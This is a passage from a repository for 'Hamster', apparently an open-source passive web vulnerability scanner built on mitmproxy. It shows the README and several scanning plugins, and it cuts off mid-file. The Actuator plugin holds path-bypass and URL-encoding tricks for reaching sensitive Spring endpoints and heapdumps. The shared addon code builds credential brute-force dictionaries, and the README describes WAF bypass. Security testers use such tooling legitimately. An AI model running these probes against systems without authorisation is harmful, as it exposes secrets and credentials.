├── .gitignore
├── README.md
├── addon
├── .gitignore
├── README.md
├── __init__.py
├── agent
│ ├── __init__.py
│ ├── actuator_file.py
│ ├── collect_cors.py
│ ├── collect_email.py
│ ├── collect_jsonp.py
│ ├── collect_packet.py
│ ├── collect_packet_ws.py
│ ├── collect_path_param.py
│ ├── directory_list.py
│ ├── druid_unauth.py
│ ├── http_basic_auth_burst.py
│ ├── http_put.py
│ ├── log4j2_deserialization.py
│ ├── log4j2_deserialization_ws.py
│ ├── sensitive_information.py
│ ├── sensitive_information_ws.py
│ ├── shiro_deserialization.py
│ ├── tomcat_file.py
│ └── xray_adapter.py
├── common
│ └── __init__.py
├── server
│ ├── __init__.py
│ ├── scan.py
│ └── scan_ws.py
├── support
│ └── __init__.py
└── test
│ └── __init__.py
├── agent.py
├── docker
├── Dockerfile
├── conf
│ ├── hamster_env.conf
│ └── online
│ │ ├── hamster_agent.conf
│ │ ├── hamster_basic.conf
│ │ ├── hamster_manager.conf
│ │ ├── hamster_server.conf
│ │ ├── hamster_simple.conf
│ │ └── hamster_support.conf
├── docker-compose.yml
├── restart.sh
└── wait-for-it.sh
├── hamster.sh
├── init.py
├── lib
├── __init__.py
├── core
│ ├── __init__.py
│ ├── api.py
│ ├── asyncpool.py
│ ├── common.py
│ ├── config.py
│ ├── core.py
│ ├── data.py
│ ├── enums.py
│ ├── env.py
│ ├── g.py
│ ├── log.py
│ ├── model.py
│ ├── mysql.py
│ ├── rabbitmq.py
│ └── redis.py
├── engine
│ ├── __init__.py
│ ├── agent
│ │ ├── __init__.py
│ │ └── vulagent.py
│ ├── manager
│ │ ├── __init__.py
│ │ └── webmanager.py
│ └── master
│ │ ├── __init__.py
│ │ ├── servermaster.py
│ │ ├── simplemaster.py
│ │ └── supportmaster.py
├── hander
│ ├── __init__.py
│ ├── api
│ │ └── addonhander.py
│ ├── basehander.py
│ ├── indexhander.py
│ └── manager
│ │ ├── __init__.py
│ │ ├── cache
│ │ ├── __init__.py
│ │ ├── cachehander.py
│ │ ├── dnsloghander.py
│ │ └── packethander.py
│ │ ├── certhander.py
│ │ ├── collect
│ │ ├── __init__.py
│ │ ├── corshander.py
│ │ ├── emailhander.py
│ │ ├── jsonphander.py
│ │ ├── paramhander.py
│ │ └── pathhander.py
│ │ ├── setting
│ │ ├── __init__.py
│ │ ├── blackhander.py
│ │ ├── filterhander.py
│ │ ├── passwordhander.py
│ │ ├── timehander.py
│ │ ├── usernamehander.py
│ │ └── whitehander.py
│ │ ├── system
│ │ ├── __init__.py
│ │ ├── addonhander.py
│ │ ├── enginehander.py
│ │ ├── loghander.py
│ │ └── userhander.py
│ │ └── vulhander.py
└── util
│ ├── __init__.py
│ ├── addonutil.py
│ ├── aiohttputil.py
│ ├── cipherutil.py
│ ├── configutil.py
│ ├── flowutil.py
│ ├── interactshutil.py
│ ├── util.py
│ └── xrayutil.py
├── manager.py
├── poc
└── xray
│ └── pocs
│ ├── apache-httpd-cve-2021-40438-ssrf.yml
│ ├── bash-cve-2014-6271.yml
│ ├── jetty-cve-2021-28164.yml
│ ├── laravel-cve-2021-3129.yml
│ ├── phpstudy-backdoor-rce.yml
│ ├── spring-cloud-cve-2020-5410.yml
│ ├── springcloud-cve-2019-3799.yml
│ ├── thinkphp-v6-file-write.yml
│ ├── thinkphp5-controller-rce.yml
│ ├── thinkphp5023-method-rce.yml
│ ├── tomcat-cve-2018-11759.yml
│ ├── weblogic-cve-2019-2618.yml
│ ├── weblogic-cve-2020-14750.yml
│ └── weblogic-ssrf.yml
├── requirements.txt
├── server.py
├── show
├── burpsuite_proxy.png
└── web.png
├── simple.py
├── static
├── css
│ ├── bootstrap.min.css
│ ├── bootstrap.min.css.map
│ ├── buttons.bootstrap.min.css
│ ├── cert.css
│ ├── custom.min.css
│ ├── dataTables.bootstrap.min.css
│ ├── font-awesome.min.css
│ └── jquery.dataTables.min.css
├── fonts
│ ├── fontawesome-webfont.ttf
│ ├── fontawesome-webfont.woff
│ ├── fontawesome-webfont.woff2
│ └── responsive.bootstrap.min.css
├── img
│ ├── favicon.ico
│ ├── img.jpg
│ ├── sort_asc.png
│ └── sort_both.png
└── js
│ ├── bootstrap.bundle.min.js
│ ├── bootstrap.bundle.min.js.map
│ ├── bootstrap.min.js
│ ├── bootstrap.min.js.map
│ ├── buttons.bootstrap.min.js
│ ├── custom.min.js
│ ├── dataTables.bootstrap.min.js
│ ├── dataTables.buttons.min.js
│ ├── jquery.dataTables.min.js
│ ├── jquery.min.js
│ ├── popper.js
│ ├── popper.min.js
│ └── popper.min.js.map
├── support.py
├── template
├── layout.html
├── login.html
└── manager
│ ├── cache
│ ├── cache.html
│ ├── dnslog.html
│ └── packet.html
│ ├── cert.html
│ ├── collect
│ ├── cors.html
│ ├── email.html
│ ├── jsonp.html
│ ├── param.html
│ └── path.html
│ ├── dashboard.html
│ ├── profile.html
│ ├── reset.html
│ ├── setting
│ ├── black.html
│ ├── filter.html
│ ├── password.html
│ ├── time.html
│ ├── username.html
│ └── white.html
│ ├── system
│ ├── addon.html
│ ├── engine.html
│ ├── log.html
│ └── user.html
│ └── vulnerability.html
└── test_addon
├── __init__.py
├── agent
├── __init__.py
├── test_agent_addon.py
└── test_ws_agent_addon.py
├── common
├── __init__.py
├── test_sign.py
└── test_waf.py
├── server
├── __init__.py
├── scan.py
├── scan_ws.py
├── test_server_cipher.py
└── test_websocket.py
└── support
├── __init__.py
└── test_support_cipher.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # project
2 | .idea
3 | .git
4 | .DS_Store
5 | .gitignore
6 |
7 | # python project
8 | *.pyc
9 | __pycache__
10 |
11 | # hamster project
12 | venv/
13 | log/
14 | conf/
15 | dev/
16 | tool/
17 | addon/
18 |
19 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 概述
2 |
3 | Hamster是基于mitmproxy开发的异步被动扫描框架,基于http代理进行被动扫描,主要功能为重写数据包、签名、漏洞扫描、敏感参数收集等功能(开发中)。
4 |
5 | [](https://www.python.org/)
6 | [](https://www.mysql.com/)
7 | [](https://www.rabbitmq.com/)
8 | [](https://redis.io/)
9 |
10 | # 模块
11 |
12 | 1. 漏洞扫描:`brower/burpsuite → server → rabbitmq ->agent → support → target `
13 | 2. 渗透测试辅助:`brower/burpsuite → server → target`
14 |
15 | ## server:
16 | 1. 被动扫描代理端口
17 | 2. 管理控制台
18 | 3. 推送流量到agent进行扫描
19 | 4. 手工测试时进行签名、waf绕过。
20 |
21 | ## agent
22 | 1. 漏扫
23 | 2. 扫描的poc发送到supprt进行签名、waf绕过等
24 |
25 | ## supprt
26 | 1. 代理端口。
27 | 2. 给agent进行签名、waf绕过等。
28 | 3. 手工测试时进行签名、waf绕过。
29 |
30 | ## manager
31 | 1. 管理控制台
32 |
33 | # 安装
34 |
35 | ## 代码部署
36 |
37 | ```
38 | # PIP安装依赖
39 | python3.9 -m venv venv
40 | source venv/bin/activate
41 | pip install -r requirements.txt
42 |
43 | # 如没有conf文件夹,则需要先生成配置文件,先运行一次init.py,生成相关配置文件(默认是dev环境)
44 | python init.py
45 |
46 | # 通过修改 conf/online/*.conf 配置mysql,redis,rabbitmq,dnslog等, 可查看配置说明
47 | vim conf/online/*.conf
48 |
49 | # 再一次运行,初始化数据库。
50 | python init.py
51 |
52 | # 运行server
53 | nohup python server.py &
54 |
55 | # 运行agent
56 | nohup python agent.py &
57 |
58 | # 运行support
59 | nohup python support.py &
60 |
61 | # 运行manager(可选)
62 | nohup python manager.py &
63 | ```
64 |
65 | ## Docker部署
66 |
67 | ```
68 | # 通过dockerfile文件部署 mysql,redis,rabbitmq
69 | cd docker
70 |
71 | # 通过修改 conf/online/*.conf 配置dnslog等, 可查看配置说明
72 | vim conf/online/*.conf
73 |
74 | # 开始部署docker
75 | docker-compose up -d
76 | ```
77 |
78 |
79 | # 使用
80 |
81 | ## 设置代理
82 |
83 | 设置浏览器HTTP代理或者设置burpsuite二级代理`upstream proxy servers`, 代理认证请配置 `conf/online/hamster_basic.conf`.
84 |
85 | 
86 |
87 | * host: localhost
88 | * port: 8000
89 | * authtype: basic
90 | * username: Hamster
91 | * password: Hamster@123
92 |
93 | ## 扫描
94 |
95 | 然后浏览器访问目标网站就可以进行漏洞扫描了。
96 |
97 | ## 查看扫描结果
98 |
99 | 可以随时通过访问控制台查看扫描结果(控制台有如下两种访问方式)
100 |
101 | 1. 通过server代理访问,http://admin.hamster.com/hamster/online/login
102 | 2. 通过manager直接访问,http://127.0.0.1:8002/hamster/online/login
103 |
104 | 访问凭据:
105 |
106 | * username: admin
107 | * password: Hamster@123
108 |
109 | 
110 |
111 | # 配置说明
112 |
113 | 因为有不少漏洞需要配合DNSLOG,因此需要配置dnslog,本项目默认使用`oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me`项目接口,同时内置[DNSLog](https://github.com/orleven/Celestion)api接口,当然也可以使用其他dnslog,不过需要编写接口,相关代码在`/lib/core/api.py`中的`get_dnslog_recode`函数。
114 |
115 | 1. 通过修改 `conf/online/hamster_basic.conf` (第一次运行后生成) 配置mysql,redis,rabbitmq,dnslog,具体请看注释。
116 |
117 |
118 | # 插件编写
119 |
120 | 插件目录为`addon`,具体功能如下(addon本后续不再更新):
121 |
122 | 1. `addon/agent` agnet用, 主要存放扫描poc。
123 | 2. `addon/common` server、support共用,可用于给数据包waf、sign等。
124 | 3. `addon/server` server用,一般涉及数据包加解密时和supprt联用。
125 | 4. `addon/support` support用,一般涉及数据包加解密时和server联用。
126 |
127 | 同目录下addon按照字母顺序加载,如果脚本之间存在运行先后逻辑,请合理安排脚本文件名。
128 |
129 | PS: 参考插件模版目录`test_addon`即可。
130 |
131 | # 关于缓存日志查询
132 |
133 | 为了覆盖延迟型的SSRF、Log4j2等漏洞,对于此类数据包进行了缓存,缓存日志保存天数,默认2天,数据库缓存默认1天。
134 |
135 | 1. 如果dnslog告警了,请等待2分钟后,在漏洞中查看。
136 | 2. 如果短时间内触发多个dnslog,且漏洞仅更新了1个的话,这是因为这几个dnslog的触发原因是一样的,漏洞已做了去重处理,忽略就行。
137 | 3. 如果dnslog告警,且漏洞没有更新,表示这个漏洞是延迟触发的,且超过了数据库缓存天数,可以尝试在logs目录中查找,如果还是没找到,那就是说明延迟太久了,缓存已经没了。
138 |
139 | ```
140 | find log/ -name "*" -print0 | xargs -0 grep -i -n "{dnslog}" 2>/dev/null
141 | ```
142 |
143 | # mysql binlog文件过大问题
144 |
145 | 编辑 `my.cnf` 并在`[mysqld]`下添加`skip-log-bin`关闭binlog,并重启mysql即可。
146 |
147 | ```
148 | set global binlog_expire_logs_seconds=10;
149 | set persist binlog_expire_logs_seconds=10;
150 | ```
151 |
152 | # xray poc 兼容
153 |
154 | `poc/xray/pocs` 简单兼容了xray poc,目前这个模块写的比较糙,不建议放入全部poc。
155 |
--------------------------------------------------------------------------------
/addon/.gitignore:
--------------------------------------------------------------------------------
1 | # project
2 | .idea
3 | .git
4 | .DS_Store
5 |
6 | # python project
7 | *.pyc
8 | __pycache__
9 |
10 | bak/
--------------------------------------------------------------------------------
/addon/README.md:
--------------------------------------------------------------------------------
1 | # Hamster addon
2 |
3 | Hamster 的 addon脚本合集。
4 |
5 | # 安装
6 |
7 | 所有文件复制到Hamster的addon目录下即可。
8 |
9 | ```
10 | rm -fr addon
11 | git clone https://github.com/orleven/addon
12 | ```
--------------------------------------------------------------------------------
/addon/agent/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import asyncio
6 | from lib.core.g import log
7 | from lib.core.g import conf
8 | from lib.core.g import task_queue
9 | from addon import BaseAddon
10 | from lib.core.common import handle_flow
11 |
12 | class AgentAddon(BaseAddon):
13 |
14 | def __init__(self):
15 | BaseAddon.__init__(self)
16 | self.__hash_list = [] # simple 模式去重
17 |
18 | async def prove(self, flow):
19 | """预留函数, agent扫描使用"""
20 |
21 |
22 | async def handle_response(self, flow):
23 | """处理response函数"""
24 |
25 | async for flow_hash, flow_addon_list, flow_addon_type, flow in handle_flow(flow, self.__hash_list, [self.name]):
26 | if flow_addon_list is None or (flow_addon_list and self.name in flow_addon_list):
27 | if self.addon_type == flow_addon_type:
28 | log.info(f"Push packet to queue, flow_hash: {flow_hash}")
29 | await task_queue.put((flow_hash, flow, self))
30 |
31 | def response(self, flow):
32 | """
33 | simple 模式使用
34 | :param flow:
35 | :return:
36 | """
37 |
38 | if self.is_scan_response(flow):
39 | asyncio.get_event_loop().create_task(self.handle_response(flow))
40 | else:
41 | url = self.get_url(flow)
42 | if self.dnslog_top_domain not in url and conf.basic.listen_domain not in url:
43 | log.debug(f"Bypass scan response packet, url: {url}, addon: {self.addon_path}")
44 |
45 | def websocket_message(self, flow):
46 | """
47 | simple 模式使用
48 | :param flow:
49 | :return:
50 | """
51 |
52 | if self.is_scan_to_client(flow):
53 | asyncio.get_event_loop().create_task(self.handle_response(flow))
54 | else:
55 | url = self.get_url(flow)
56 | if self.dnslog_top_domain not in url and conf.basic.listen_domain not in url:
57 | log.debug(f"Bypass scan websocket message packet, url: {url}, addon: {self.addon_path}")
58 |
59 | async def generate_username_dict(self):
60 | """
61 | 生成爆破用户名字典
62 | :return: username
63 | """
64 |
65 | dict_username = [x.get("value", "") for x in conf.scan.dict_username]
66 | for username in dict_username:
67 | yield username
68 |
69 | async def generate_password_dict(self):
70 | """
71 | 生成爆破密码字典
72 | :return: password
73 | """
74 |
75 | dict_password = [x.get("value", "") for x in conf.scan.dict_password]
76 | for password in dict_password:
77 | if '%user%' not in password:
78 | yield password
79 |
80 | async def generate_auth_dict(self):
81 | """
82 | 生成爆破字典
83 | :return: username, password
84 | """
85 |
86 | dict_username = [x.get("value", "") for x in conf.scan.dict_username]
87 | dict_password = [x.get("value", "") for x in conf.scan.dict_password]
88 | for username in dict_username:
89 | username = username.replace('\r', '').replace('\n', '').strip().rstrip()
90 | for password in dict_password:
91 | if '%user%' not in password:
92 | password = password
93 | else:
94 | password = password.replace("%user%", username)
95 | password = password.replace('\r', '').replace('\n', '').strip().rstrip()
96 | yield username, password
97 |
98 | # 首位大写也爆破下
99 | if len(password) > 2:
100 | password2 = password[0].upper() + password[1:]
101 | if password2 != password:
102 | yield username, password2
--------------------------------------------------------------------------------
/addon/agent/actuator_file.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from addon.agent import AgentAddon
10 | from lib.util.aiohttputil import ClientSession
11 |
12 | class Addon(AgentAddon):
13 | """
14 | ActuratorFile
15 | """
16 |
17 | def __init__(self):
18 | AgentAddon.__init__(self)
19 | self.name = 'ActuratorFile'
20 | self.addon_type = AddonType.DIR_ALL
21 | self.vul_name = "Actuator接口文件"
22 | self.level = VulLevel.MEDIUM
23 | self.vul_type = VulType.INFO_FILE
24 | self.description = "网站存在Actuator文件及接口,会泄露相关敏感信息。"
25 | self.scopen = ""
26 | self.impact = "1. 攻击者可以通过此类接口获取接口相关信息甚至获取服务器权限。"
27 | self.suggestions = "1. 对敏感文件进行访问权限控制或者删除处理。"
28 | self.scopen = ""
29 | self.mark = ""
30 |
31 | self.dir_list = [
32 | "",
33 | "api/",
34 | "actuator/",
35 | ";/actuator/",
36 | "api/actuator/",
37 | "api/;/actuator/",
38 | "v3/",
39 | "v2/",
40 | "v1/",
41 | "web/",
42 | "swagger/",
43 | "gateway/actuator/",
44 | "..;/",
45 | "..;/v1/",
46 | "..;/v2/",
47 | "..;/actuator/",
48 | "%61%63%74uator/",
49 | "api/%61%63%74uator/",
50 | ]
51 | self.file_dic = {
52 | "actuator": "\"_links\":",
53 | "consul": "servicestags",
54 | "swagger-ui.html": 'swaggerui',
55 | "swagger.json": "\"swagger\"",
56 | "metrics": "\"names\"",
57 | "info": "\"names\"",
58 | "env": "spring",
59 | "routes": "\"route_",
60 | "mappings": "springframework",
61 | "loggers": "\"configuredLevel\":\"info\"",
62 | "hystrix.stream": "hystrixcommand",
63 | "auditevents": "\"events\":",
64 | "httptrace": "\"headers\":{",
65 | "features": "springframework",
66 | "caches": "cachemanagers",
67 | "beans": "springframework",
68 | "conditions": "springframework",
69 | "configprops": "spring",
70 | "threaddump": "springframework",
71 | "scheduledtasks": "\"cron\":",
72 | "api-docs": "\"swagger\"",
73 | "mappings.json": "{\"bean\":",
74 | "trace": "\"headers\":{",
75 | "dump": "threadname",
76 | "gateway/routes": "\"predicate\":",
77 | "gateway/globalfilters": "cloud.gateway.filter",
78 | "gateway/routefilters": "gatewayfilter",
79 | "nacos-discovery": "NacosDiscoveryProperties",
80 | "prometheus": "# HELP",
81 | }
82 |
83 | async def prove(self, flow: HTTPFlow):
84 | url_no_query = self.get_url_no_query(flow)
85 | method = self.get_method(flow)
86 | if method in ['GET']:
87 | if url_no_query[-1] == '/':
88 | async with ClientSession(self.addon_path) as session:
89 | headers = self.get_request_headers(flow)
90 | for dir_path in self.dir_list:
91 | for file_path, file_keyword in self.file_dic.items():
92 | url = url_no_query + dir_path + file_path
93 | async with session.get(url=url, headers=headers, allow_redirects=False) as res:
94 | if res and res.status == 200:
95 | content_type = res.headers.get("Content-Type", "text/html")
96 | if "application/json" in content_type or "actuator" in content_type:
97 | text = await res.text()
98 | if text and file_keyword in text.lower():
99 | detail = text
100 | await self.save_vul(res, detail)
101 |
102 | url = url_no_query + dir_path + "heapdump"
103 | async with session.head(url=url, headers=headers, allow_redirects=False) as res:
104 | if res and res.status == 200:
105 | if res.headers.get("Content-Type", "text/html") == "application/octet-stream" and res.content_length > 1024 * 1024 * 4:
106 | detail = "Content-Type: " + str(res.content_length)
107 | await self.save_vul(res, detail)
108 |
--------------------------------------------------------------------------------
/addon/agent/collect_cors.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from addon.agent import AgentAddon
10 | from lib.core.g import cors_queue
11 | from lib.util.aiohttputil import ClientSession
12 | from lib.util.cipherutil import md5
13 |
14 |
15 | class Addon(AgentAddon):
16 | """
17 | cors扫描
18 | """
19 |
20 | def __init__(self):
21 | AgentAddon.__init__(self)
22 | self.name = 'CORS'
23 | self.addon_type = AddonType.HOST_ONCE
24 | self.vul_name = "CORS收集",
25 | self.level = VulLevel.INFO,
26 | self.vul_type = VulType.CORS,
27 | self.scopen = ""
28 | self.description = "CORS全称为Cross-Origin Resource Sharing即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。而CORS漏洞则是利用CORS技术窃取用户敏感数据。以往与CORS漏洞类似的JSONP劫持虽然已经出现了很多年,但由于部分厂商对此不够重视导致其仍在不断发展和扩散。"
29 | self.impact = "1. 黑客可通过钓鱼等手段窃取用户信息。"
30 | self.suggestions = "1. 严格校验Origin头,避免出现权限泄露。2. 不要配置Access-Control-Allow-Origin: null。3. HTTPS网站不要信任HTTP域。4. 不要信任全部自身子域,减少攻击面。5. 不要配置Origin:*和Credentials: true。 6. 增加Vary: Origin头。"
31 | self.mark = ""
32 |
33 | self.skip_scan_media_types = [
34 | "image", "video", "audio"
35 | ]
36 | self.skip_collect_extensions = [
37 | "js", "css", "ico", "png", "jpg", "video", "audio", "ttf", "jpeg", "gif", "woff",
38 | "map", 'woff2', 'bin', 'wav', 'md', "mp3", "vue", "jpeg"
39 | ]
40 | self.poc_domain = ".thisisatestdomain.com"
41 | self.poc_characters = '!@#$%^&*()_+~/*'
42 |
43 | def is_collect(self, flow):
44 | """
45 | 是否跳过数据包,不进行捕获。
46 | """
47 |
48 | method = self.get_method(flow)
49 | response_media_type = self.get_response_media_type(flow)
50 | ext = self.get_extension(flow)
51 |
52 | if method != "GET":
53 | return False
54 |
55 | if response_media_type in self.skip_scan_media_types:
56 | return False
57 |
58 | if ext in self.skip_collect_extensions:
59 | return False
60 |
61 | return True
62 |
63 | async def prove_cors(self, keyword, method, url, data, headers):
64 | async with ClientSession(self.addon_path) as session:
65 | async with session.request(method, url, data=data, headers=headers, allow_redirects=False) as res:
66 | if res:
67 | detail = res.headers.get('Access-Control-Allow-Origin', "")
68 | if detail != "" and detail == keyword:
69 | await self.save_cors(res)
70 | return True
71 | return False
72 |
73 | async def save_cors(self, packet):
74 | """保存cors信息"""
75 |
76 | cors = await self.parser_packet(packet)
77 | if cors:
78 | cors["md5"] = md5('|'.join([cors.get('method'), cors.get('url')]))
79 | await self.put_queue(cors, cors_queue)
80 |
81 | async def prove(self, flow: HTTPFlow):
82 | if self.is_collect(flow):
83 | url = self.get_url(flow)
84 | host = self.get_host(flow)
85 | scheme = self.get_scheme(flow)
86 | method = self.get_method(flow)
87 | request_headers = self.get_request_headers(flow)
88 | response_headers = self.get_response_headers(flow)
89 | data = self.get_request_content(flow)
90 |
91 | if "Access-Control-Allow-Origin" and "Access-Control-Allow-Credentials" in response_headers.keys():
92 | test_headers = request_headers
93 | keyword = scheme + '://www' + self.poc_domain
94 | test_headers['Origin'] = keyword
95 | if not await self.prove_cors(keyword, method, url, data, test_headers):
96 | keyword = scheme + '://' + host + self.poc_domain
97 | test_headers['Origin'] = keyword
98 | if not await self.prove_cors(keyword, method, url, data, test_headers):
99 | for character in self.poc_characters:
100 | keyword = scheme + '://' + host + character + self.poc_domain
101 | test_headers['Origin'] = keyword
102 | await self.prove_cors(keyword, method, url, data, test_headers)
103 |
--------------------------------------------------------------------------------
/addon/agent/collect_packet.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from addon.agent import AgentAddon
10 | from lib.core.g import packet_queue
11 |
12 |
13 | class Addon(AgentAddon):
14 | """
15 | 记录数据包扫描的数据包,并存入数据库。
16 | """
17 |
18 | def __init__(self):
19 | AgentAddon.__init__(self)
20 | self.name = 'CollectPacket'
21 | self.addon_type = AddonType.URL_ONCE
22 | self.vul_name = "数据包收集"
23 | self.level = VulLevel.NONE
24 | self.vul_type = VulType.NONE
25 | self.scopen = ""
26 | self.description = "将需要扫描的数据包进行记录。"
27 | self.impact = ""
28 | self.suggestions = ""
29 | self.mark = ""
30 |
31 | async def save_packet(self, packet):
32 | """保存扫描的数据包"""
33 |
34 | packet = await self.parser_packet(packet, more_detail_flag=True)
35 | if packet:
36 | await self.put_queue(packet, packet_queue)
37 |
38 | async def prove(self, flow: HTTPFlow):
39 | await self.save_packet(flow)
40 |
--------------------------------------------------------------------------------
/addon/agent/collect_packet_ws.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from addon.agent import AgentAddon
10 | from lib.core.g import packet_queue
11 |
12 |
13 | class Addon(AgentAddon):
14 | """
15 | 记录数据包扫描的数据包,并存入数据库。
16 | """
17 |
18 | def __init__(self):
19 | AgentAddon.__init__(self)
20 | self.name = 'CollectPacketWS'
21 | self.addon_type = AddonType.WEBSOCKET_ONCE
22 | self.vul_name = "WS数据包收集"
23 | self.level = VulLevel.NONE
24 | self.vul_type = VulType.NONE
25 | self.scopen = ""
26 | self.description = "将需要扫描的WS数据包进行记录。"
27 | self.impact = ""
28 | self.suggestions = ""
29 | self.mark = ""
30 |
31 | async def save_packet(self, packet):
32 | """保存扫描的数据包"""
33 |
34 | packet = await self.parser_packet(packet, more_detail_flag=True)
35 | if packet:
36 | await self.put_queue(packet, packet_queue)
37 |
38 | async def prove(self, flow: HTTPFlow):
39 | await self.save_packet(flow)
40 |
--------------------------------------------------------------------------------
/addon/agent/collect_path_param.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from lib.core.g import path_queue
10 | from lib.core.g import param_queue
11 | from lib.util.util import md5
12 | from addon.agent import AgentAddon
13 |
14 |
15 | class Addon(AgentAddon):
16 | """
17 | 记录数据包中的目录路径参数名信息,并存入数据库。
18 | select *,count(*) as new_count from dir where host like '%' || ? GROUP BY dir ORDER BY new_count DESC
19 | """
20 |
21 | def __init__(self):
22 | AgentAddon.__init__(self)
23 | self.name = 'CollectPathParam'
24 | self.addon_type = AddonType.URL_ONCE
25 | self.vul_name = "接口信息收集"
26 | self.level = VulLevel.NONE
27 | self.vul_type = VulType.NONE
28 | self.scopen = ""
29 | self.description = "将接口信息收集并进行记录。"
30 | self.impact = ""
31 | self.suggestions = ""
32 | self.mark = ""
33 |
34 | self.skip_collect_content_tpyes = [
35 | "text/css", "application/javascript", "application/x-javascript",
36 | "application/msword", "application/vnd.ms-excel", "application/vnd.ms-powerpoint",
37 | "application/x-ms-wmd", "application/x-shockwave-flash", "image/x-cmu-raster",
38 | "image/x-ms-bmp", "image/x-portable-graymap", "image/x-portable-bitmap", "image/jpeg",
39 | "image/gif", "image/x-xwindowdump", "image/png", "image/vnd.microsoft.icon",
40 | "image/x-portable-pixmap", "image/x-xpixmap", "image/ief", "image/x-portable-anymap",
41 | "image/x-rgb", "image/x-xbitmap", "image/tiff", "video/mpeg", "video/x-sgi-movie",
42 | "video/mp4", "video/x-msvideo", "video/quicktim", "audio/mpeg", "audio/x-wav",
43 | "audio/x-aiff", "audio/basic", "audio/x-pn-realaudio", "application/font-woff"
44 | ]
45 | self.skip_collect_extensions = [
46 | "js", "css", "ico", "png", "jpg", "video", "audio", "ttf", "jpeg", "gif", "woff",
47 | "map", 'woff2', 'bin', 'wav', 'md', "mp3", "vue", "jpeg"
48 | ]
49 | self.skip_scan_media_types = [
50 | "image", "video", "audio"
51 | ]
52 | self.exclude_parameter = [
53 | "_t", "t"
54 | ]
55 |
56 | def is_collect(self, flow):
57 | """
58 | 是否跳过数据包,不进行捕获。
59 | """
60 |
61 | extension = self.get_extension(flow)
62 | content_type = self.get_response_content_type(flow)
63 |
64 | if extension in self.skip_collect_extensions:
65 | return False
66 |
67 | if not content_type:
68 | return True
69 |
70 | if content_type in self.skip_collect_content_tpyes:
71 | return False
72 |
73 | http_mime_type = content_type.split('/')[:1]
74 | if http_mime_type:
75 | return False if http_mime_type[0] in self.skip_scan_media_types else True
76 |
77 | return True
78 |
79 | def is_collect_param(self, param):
80 | """
81 | 是否跳过数据包,不进行捕获。
82 | """
83 |
84 | if param in self.exclude_parameter:
85 | return False
86 |
87 | # 总有些路径中会有奇怪的参数名,不做记录
88 | if "http:" in param or "http://" in param or len(param) >= 32:
89 | return False
90 |
91 | return True
92 |
93 | async def save_path(self, packet):
94 | """保存路径信息"""
95 |
96 | if isinstance(packet, HTTPFlow):
97 | host = self.get_host(packet)
98 | port = self.get_port(packet)
99 | url_no_query = self.get_url_no_query(packet)
100 | path = self.get_path_no_query(packet)
101 | url = self.get_url(packet)
102 | path_file = self.get_path_file(packet)
103 | path_dir = self.get_path_dir(packet)
104 | _md5 = md5('|'.join([url_no_query]))
105 | path_dic = dict(md5=_md5, host=host, port=port, url=url, path=path, dir=path_dir, file=path_file)
106 | await self.put_queue(path_dic, path_queue)
107 |
108 | async def save_param(self, packet, param):
109 | """保存参数信息"""
110 |
111 | if isinstance(packet, HTTPFlow):
112 | host = self.get_host(packet)
113 | port = self.get_port(packet)
114 | path = self.get_path_no_query(packet)
115 | base_url = self.get_base_url(packet)
116 | url = self.get_url(packet)
117 | _md5 = md5('|'.join([base_url, param]))
118 | param_dic = dict(md5=_md5, host=host, port=port, url=url, path=path, param=param)
119 | await self.put_queue(param_dic, param_queue)
120 |
121 | async def prove(self, flow: HTTPFlow):
122 | if self.is_collect(flow):
123 | # 保存path
124 | await self.save_path(flow)
125 | for param in self.get_parameter_name_list(flow):
126 | if self.is_collect_param(param):
127 | # 保存param
128 | await self.save_param(flow, param)
129 |
--------------------------------------------------------------------------------
/addon/agent/directory_list.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import re
6 | from mitmproxy.http import HTTPFlow
7 | from lib.core.enums import AddonType
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from addon.agent import AgentAddon
11 | from lib.util.aiohttputil import ClientSession
12 |
13 | class Addon(AgentAddon):
14 | """
15 | 敏感文件泄露扫描
16 | """
17 |
18 | def __init__(self):
19 | AgentAddon.__init__(self)
20 | self.name = 'DirectoryList'
21 | self.addon_type = AddonType.DIR_ALL
22 | self.vul_name = "目录列表显示漏洞"
23 | self.level = VulLevel.LOWER
24 | self.vul_type = VulType.INFO
25 | self.description = "由于错误配置导致服务器存在目录列表显示问题。"
26 | self.scopen = ""
27 | self.impact = "1. 利用该漏洞,可以遍历当前目录所有文件信息。"
28 | self.suggestions = "1. 修改配置以解决此问题。"
29 | self.mark = ""
30 |
31 | async def prove(self, flow: HTTPFlow):
32 | url_no_query = self.get_url_no_query(flow)
33 | method = self.get_method(flow)
34 | if method in ['GET'] and url_no_query[-1] == '/':
35 | async with ClientSession(self.addon_path) as session:
36 | headers = self.get_request_headers(flow)
